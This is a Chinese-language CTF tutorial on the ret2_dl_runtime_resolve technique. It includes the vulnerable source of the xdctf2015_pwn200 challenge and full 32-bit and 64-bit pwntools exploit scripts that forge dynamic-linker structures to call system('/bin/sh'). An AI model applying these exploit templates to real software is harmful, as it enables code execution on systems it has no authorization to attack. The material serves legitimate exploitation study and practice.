当前位置: 首页 > news >正文

ret2_dl_runtime_resolve学习

ret2_dl_runtime_resolve:

  • 适用场景:
  • 32位利用:
    • 例题:xdctf2015_pwn200(Partial RELRO)
    • exp:
  • 64位利用:
    • 例题1:xdctf2015_pwn200(Partial RELRO)
    • exp:

以下为个人总结,如有错误,还望看官指出

一种复杂的rop利用技术,但利用方式单一,模板化

适用场景:

NX和ASLR保护开启,简单栈溢出同时难以泄露更多信息

32位利用:

大致的讲一下,详细的利用步骤与细节可上网自行查询其他大佬

函数dl_runtime_resolve(link_map_obj,reloc_index)有这两个参数

调用dl_runtime_resolve要摆好这两个参数

link_map_obj的值可以pwntools获取:elf.get_section_by_name(‘.plt’).header.sh_addr

而reloc_index参数和rop的要求:

1. reloc_index就是rel.plt的偏移,我们要改为指向bss段我们伪造的rel.plt结构{r_offest,r_info}

2. r_info>>8就是.dynsym的偏移,我们要改为指向bss段我们伪造的

dynsym结构{st_name,st_value,st_size ,st_info}

3. st_name就是.dynstr的偏移,我们要改为指向bss段我们伪造的字符串(可以为system\x00)

注: 我们要算出偏移都是要知道 对应表的基址 与 我们fake_struck地址 相应运算一下

基址都可以pwntools获取

还有就是fake_dynsym_struck要地址对齐

例题:xdctf2015_pwn200(Partial RELRO)

源码:

#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
	char buf[100];
	setbuf(stdin, buf);
	read(0, buf, 256);
}
int main()
{
	char buf[100] = "Welcome to XDCTF2015~!\n";

	setbuf(stdout, buf);
	write(1, buf, strlen(buf));
	vuln();
	return 0;

}

编译一下

gcc -fno-stack-protector -m32 -z relro -no-pie pwn.c -o main

exp:

from pwn import *
offset = 112
elf = ELF('./bof')
io = process('./bof')
rop = ROP('./bof')
bss_addr = elf.bss()
stack_size = 0x800
base_stage = bss_addr + stack_size
rop.raw('a'*offset)
rop.read(0, base_stage, 100)
rop.migrate(base_stage)
#gdb.attach(io)
io.sendline(rop.chain())

rop = ROP('./bof')

plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr += align

index_dynsym = (fake_sym_addr - dynsym)/0x10
st_name = fake_sym_addr + 0x10 - dynstr
fake_sys = flat([st_name, 0, 0, 0x12])
index_offset = base_stage + 24 - rel_plt
read_got = elf.got['read']
r_info = index_dynsym << 8 | 0x7
fake_sys_rel = flat([read_got, r_info])
sh = '/bin/sh'
rop.raw(plt0)
rop.raw(index_offset)
rop.raw('bbbb')
rop.raw(base_stage+82)
rop.raw('bbbb')
rop.raw('bbbb')

rop.raw(fake_sys_rel)
rop.raw(align * 'a')
rop.raw(fake_sys)
rop.raw('system\x00')
rop.raw('a'*(80 - len(rop.chain())))
print len(rop.chain())
rop.raw(sh+'\x00')
rop.raw('a'*(100 - len(rop.chain())))
#gdb.attach(io)
#print(rop.dump())
io.sendline(rop.chain())
io.interactive()

64位利用:

64位与32位相比又有许多不同的地方,详细请参考网络上其他大佬

这里贴一位

ret2dlresolve超详细教程(x86&x64)_77Pray的博客-CSDN博客

(假设我们控制的地址在bss段)

64位的话要在bss段伪造Linkmap结构,控制:

  1. DT_JMPREL指针:位于link_map_addr +0xF8,它指向的结构第二个参数指向伪造的.rel.plt的地址
    我们要把它改为指向bss段我们伪造的结构,我们伪造结构的第二个参数指向bss段我们伪造的.rel.plt结构

  2. DT_SYMTAB指针:位于link_map_addr + 0x70,指向bss段我们伪造的dyn_symtab结构
    (DT_STRTAB指针:位于link_map_addr +0x68,但用不到)

  3. l_addr,位于link_map+0处,l_addr的值=libc.sym[‘system’] - libc.sym[‘w
    rite’] (system减去一个已经绑定过的plt表)

最后都布置好了的话rdi传入/bin/sh的地址,加载dlsolve,参数入栈(fake_linkmap_addr 和 (push) 0)

可以gdb调试看看push几,那个加载dlsolve的地址也能调试得到
请添加图片描述

例题1:xdctf2015_pwn200(Partial RELRO)

源码:

#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
	char buf[100];
	setbuf(stdin, buf);
	read(0, buf, 256);
}
int main()
{
	char buf[100] = "Welcome to XDCTF2015~!\n";

	setbuf(stdout, buf);
	write(1, buf, strlen(buf));
	vuln();
	return 0;

}

同样的题目编译一下,不过变为64位

gcc -fno-stack-protector -z relro -no-pie pwn.c -o main

exp:

from pwn import*
r=process('./main')
elf=ELF('./main')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux',arch='amd64',log_level='debug')
bss_addr = elf.bss()
stack_size = 0x400
bss_stage = bss_addr + stack_size
l_addr =  libc.sym['system'] -libc.sym['write']
print hex(l_addr)
pop_rdi=0x4007b3 #pop rdi ; ret
pop_rsi=0x4007b1 #pop rsi ; pop r15 ; ret
ret=0x400501#ret
dlsolve = 0x400516#gdb debug find

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    linkmap = p64(offset & (2 ** 64 - 1))#l_addr
    #dyn_relplt
    linkmap += p64(0)
    linkmap += p64(fake_linkmap_addr + 0x18)
    #relplt
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
    linkmap += p64(0x7)
    linkmap += p64(0)

    linkmap += p64(0)#l_ns
    #dyn_symtab
    linkmap += p64(0)
    linkmap += p64(known_func_ptr - 0x8)
    
    linkmap += b'/bin/sh\x00'
    
    linkmap = linkmap.ljust(0x68,b'A')
    linkmap += p64(fake_linkmap_addr)#fake_linkmap+0x68
    linkmap += p64(fake_linkmap_addr + 0x38)#fake_linkmap+0x70
    linkmap = linkmap.ljust(0xf8,b'A')
    linkmap += p64(fake_linkmap_addr + 0x8)#fake_linkmap+0xf8
    return linkmap

fake_link_map = fake_Linkmap_payload(bss_stage, elf.got['write'] ,l_addr)
payload = flat( 'a' * 120 ,pop_rdi, 0 , pop_rsi , bss_stage , 0 ,elf.plt['read'],
        ret, ret,ret,ret,
        pop_rdi , bss_stage + 0x48  , dlsolve , bss_stage , 0
)
r.recvuntil('Welcome to XDCTF2015~!\n')
r.send(payload)
r.sendline(fake_link_map)
r.interactive()

相关文章:

  • 2.3Redis管道及lua脚本详解
  • iOS——HashMap
  • Devtools Console 面板输入了 1+1 ,浏览器内部发生了什么?
  • [架构之路-3]:软件架构师也是魔法师,架构师应具备的四大方面的技能
  • 视频/图片放大不失真:Waifu2x-Extension-GUI
  • Django3.2.14Mysql数据库操作与主从架构搭建【亲测可用】
  • 防止死锁,一定要给锁加过期时间
  • 实验 gazebo_ros_control
  • freeswitch三、开启视频通话功能
  • python中的列表对象
  • POC(客户验证性测试)项目中关于性能测试的一些心得
  • react扩展(一些单独技术点)
  • 多媒体相关的计算和种类
  • Vue项目实战——实现一个任务清单【基于 Vue3.x 全家桶(简易版)】
  • 分布式架构简述
  • ABAP的include关键字,Java的import, C的include和C4C ABSL 的import比较
  • es6(二):字符串的扩展
  • oschina
  • Sass 快速入门教程
  • spring学习第二天
  • Webpack4 学习笔记 - 01:webpack的安装和简单配置
  • Web标准制定过程
  • 解析带emoji和链接的聊天系统消息
  • 可能是历史上最全的CC0版权可以免费商用的图片网站
  • 数组大概知多少
  • 小程序 setData 学问多
  • 延迟脚本的方式
  • 用 Swift 编写面向协议的视图
  • - 转 Ext2.0 form使用实例
  • 字符串匹配基础上
  • Redis4.x新特性 -- 萌萌的MEMORY DOCTOR
  • ​第20课 在Android Native开发中加入新的C++类
  • ​二进制运算符:(与运算)、|(或运算)、~(取反运算)、^(异或运算)、位移运算符​
  • ​一些不规范的GTID使用场景
  • (02)Hive SQL编译成MapReduce任务的过程
  • (MATLAB)第五章-矩阵运算
  • (编译到47%失败)to be deleted
  • (附源码)spring boot儿童教育管理系统 毕业设计 281442
  • (附源码)springboot 智能停车场系统 毕业设计065415
  • (一)Dubbo快速入门、介绍、使用
  • (转载)Linux 多线程条件变量同步
  • *setTimeout实现text输入在用户停顿时才调用事件!*
  • .NET 解决重复提交问题
  • .NET/C# 推荐一个我设计的缓存类型(适合缓存反射等耗性能的操作,附用法)
  • @EnableConfigurationProperties注解使用
  • [] 与 [[]], -gt 与 > 的比较
  • [2019/05/17]解决springboot测试List接口时JSON传参异常
  • [8-27]正则表达式、扩展表达式以及相关实战
  • [AIGC codze] Kafka 的 rebalance 机制
  • [Angularjs]asp.net mvc+angularjs+web api单页应用之CRUD操作
  • [AUTOSAR][诊断管理][ECU][$37] 请求退出传输。终止数据传输的(上传/下载)
  • [C++] sqlite3_get_table 的使用
  • [flask]http请求//获取请求体数据
  • [HUBUCTF 2022 新生赛]
  • [linux c]linux do_div() 函数用法